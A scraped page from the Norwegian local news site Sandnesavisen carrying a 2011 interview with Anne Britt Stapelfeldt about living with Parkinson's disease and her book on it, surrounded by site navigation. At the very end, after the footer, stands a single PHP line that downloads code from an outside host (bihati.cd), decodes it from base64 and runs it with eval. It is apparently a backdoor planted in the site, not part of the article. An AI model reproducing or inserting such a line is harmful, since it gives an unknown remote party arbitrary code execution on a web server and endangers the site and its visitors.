Tryggbarna1
GARANTERT BILLIGST: Ut p� reise? Finn billigst hotell i
Google
27. mars 2017.
Som startside
Forsiden
Papirutgaver
Forum
Mobil
Lokalhistorie
Annonse
Nettannonse
Rubrikkannonse
Politiloggen
Bil & Motor
Reise
Spill Sudoku
Felix & Co
Annonsebilag
Riksnyheter
Kupong marked
Fotokonkurranse
Sommerens fotokonkurranse 2010
Fotokonkurranse
Informasjon
Innsendte foto
Ser du ikke bildene?
Registrer deg
Logg inn
SA - RUBRIKK
Markedsplass
Annonser
Regler
Logge inn
Ny bruker?
Lokale nyheter
Sandnes
Stavanger
Sola
Randaberg
Klepp
Time
Vær - Sandnesavisen
Sandnesavisen - POLITILOGG V2
Sandnesavisen - Bil & Motor
Sport
Sandnes
Stavanger
Kultur
Bøker
Musikk
Film
Byen vår
Skriv ny artikkel
- - - - - - - - - - - - - -
Austrått
Figgjo
Ganddal
Hana
Høle
Lura
Malmheim
Riska
Sandved
Soma
Stangeland
Sviland
Trones/Sentrum
- - - - - - - - - - - - - -
Folk
Meninger
Reisebrev
Fotball
Håndball
Kultur
Politikk
Økonomi
Natteliv
- - - - - - - - - - - - - -
Sandnes Atletklubb
Hommersåk Atlet
S Taekwon-Do
Sandnes BMX
S Innebandy Klubb
- - - - - - - - - - - - - -
S Skolekorps
Ut av byen
Bil
Buss
Fly
Båt
Tog
Med Parkinson på slep
Skrevet av Trond Anfinnsen   
lørdag 21. mai 2011

Anne Britt Stapelfeldt fikk diagnosen Parkinson i 2005. Hun visste svært lite om sykdommen, og begynte derfor å lete og grave for å kaste lys over sin egen diagnose. Det arbeidet har nå resultert i boka Min vei med Parkinson på slep.

Med Parkinson på slep
Jeg håper at mine erfaringer kan være av interesse også for andre, sier Anne Berit Stapelfeldt..

- Jeg visste ingenting om sykdommen, og ville gjerne vite så mye som mulig. Men det viste seg snart at det fantes veldig lite litteratur om parkinson, og det jeg fant, var ofte beregnet på helsepersonell, og beskrev bare de tyngste tilfellene. Stoffet var lite oppdatert og virket gammeldags, forklarer Stapelfeldt. Hun var 57 år gammel da hun fikk diagnosen.

- Jeg fant en del stoff på nettet, og jeg snakket med folk som hadde diagnosen.

Samtidig skrev jeg ned mine egne opplevelser, om hindringer og barrierer jeg møtte, og litt om hvordan jeg løste hverdagsproblemene som nå dukket opp. Til slutt hadde jeg så mye stoff at det kunne bli til en hel bok.  Jeg håper at mine erfaringer kan være av interesse også for andre, sier hun.

Byråkratiske hindere
- Du sier du støtte på forskjellige hindringer og barrierer. Hva sikter du til da?

- Først og fremst er det vanskelig å vite hvor du skal henvende deg. I det første møtet med trygdevesenet følte jeg meg liten og usikker. Jeg tror mange som har vært i min situasjon har følt det samme. Det mest frustrerende er alle skjemaene du skal fylle ut, skjemaer med et tvetydig språk som er vanskelig å forstå. Jeg fikk flere ganger høre at mange av skjemaene bare var ren rutine, og at jeg bare kunne kaste dem, sier Stapelfeldt oppgitt.

- På jobben ble det også vanskeligere etter hvert. Jeg har vært lærer i førti år, og hadde håpet å holde på en stund til. Men det gikk ikke. Jeg trappet først ned til 75 prosent, så 50 prosent, før jeg ble sykemeldt, og til slutt uføretrygdet.

"Gammelmanns" sykdom
- Du sier at du visste lite om sykdommen. Hva har du funnet ut?

- Parkinson er en sykdom som kan være vanskelig å diagnostisere. Det er så mange ulne symptomer. Det som skjer er at dopamininnholdet i hjernen minker. Det er dopaminet som styrer bevegelsene og gjør dem smidige. Med Parkinson blir bevegelsene stakkato og klønete. For at du skal få diagnosen må tre forhold være på plass: Rigiditet, altså de stive bevegelsene, skjelving, og problemer knyttet til å starte bevegelser. Ofte kalles Parkinson for en gammelmanns sykdom, fordi symptomene er lik de en ser hos gamle mennesker, uten at de har Parkinson. Dopamininnholdet minsker når vi blir eldre, men hos de med Parkinson går utviklingen mye raskere. Stadig yngre mennesker, og særlig yngre menn, får diagnosen. Vi vet ikke hvorfor, sier Stapelfeldt.

Arvelig disponert
Selv synes forfatteren at hun tross alt har vært heldig.

- Da jeg kom til nevrolog og fikk hjelp, så hun med en gang hva som feilte meg. Utviklingen av medisiner er kommet ganske langt i dag, og jeg har fått medisiner som gjør at jeg fungerer ganske bra. Folk kan vanligvis ikke se at det feiler meg noe, tror jeg. Sykdommen arter seg veldig forskjellig med tanke på symptomene. Hos noen er rigiditeten mest framtredende, hos andre er det skjelvingene som er sterkest. For noen utvikler sykdommen seg veldig fort, mens hos andre går det saktere, forklarer Stapelfeldt.

- Jeg har grublet mye på hvorfor akkurat jeg har fått denne sykdommen. Pr. i dag finnes det ingen sikker forklaring på hva som forårsaker sykdommen, men man regner med at det kan være en arvelig disposisjon. Hva som så utløser sykdommen, vet man ikke, forklarer hun. Men miljøgifter kan nok regnes som bidragsyter.

Stapelfeldt understreker på tampen at det er viktig for parkinsonrammede å fokusere på det som er friskt: på muligheter, og ikke på sykdommen og begrensningene. Dette tar hun også opp i boken.

 
Siste 3 fotoannonser fra Markedsplassen - Her kan du annonsere gratis!
 
dinreise
dinreise
Kupong marked
SA DM
Care
ProCamp 160
Sandnesavisen - Papirutgaver
Sandnesavisen - Felix Liten
dinreise
s
dinreise
Drives av Sandnesavisen.no, Webhosting levert av findthedomain.com
Ansvarlig Redaktør: Atle Stava Foto/Reporter: Trond Stava
Ønsker du å annonsere her? Kontakt annonse@sandnesavisen.no Tips oss! Kontakt tips@sandnesavisen.no
$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));